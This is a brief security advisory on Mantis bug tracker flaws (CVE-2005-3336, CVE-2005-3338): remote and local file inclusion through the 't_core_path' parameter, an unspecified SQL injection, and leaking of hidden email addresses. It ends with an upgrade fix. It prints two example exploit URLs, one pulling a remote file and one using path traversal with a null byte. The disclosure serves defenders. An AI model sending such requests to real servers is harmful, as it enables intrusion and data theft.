CVE-2005-3336
CVE-2005-3338


Description:
Some vulnerabilities and a security issue have been reported in Mantis, which can be exploited by malicious people to disclose sensitive information, conduct SQL injection attacks, and compromise a vulnerable system.

1) Input passed to the "t_core_path" parameter in "bug_sponsorship_list_view_inc.php" isn't properly verified, before it used to include files. This can be exploited to include arbitrary files from external and local resources.

Examples:
http://[host]/bug_sponsorship_list_view_inc.php?t_core_path=http://[host]/[file].php?
http://[host]/bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../[file]%00

Successful exploitation requires that "register_globals" is enabled (not recommended setting).

The vulnerability has been confirmed in versions 0.19.2 and 1.0.0rc2. Other versions may also be affected.

2) Some unspecified input isn't properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

3) The problem is that hidden email addresses can be disclosed when sending reminders.

Solution:
Update to version 0.19.3.
http://sourceforge.net/project/showfiles.php?group_id=14963
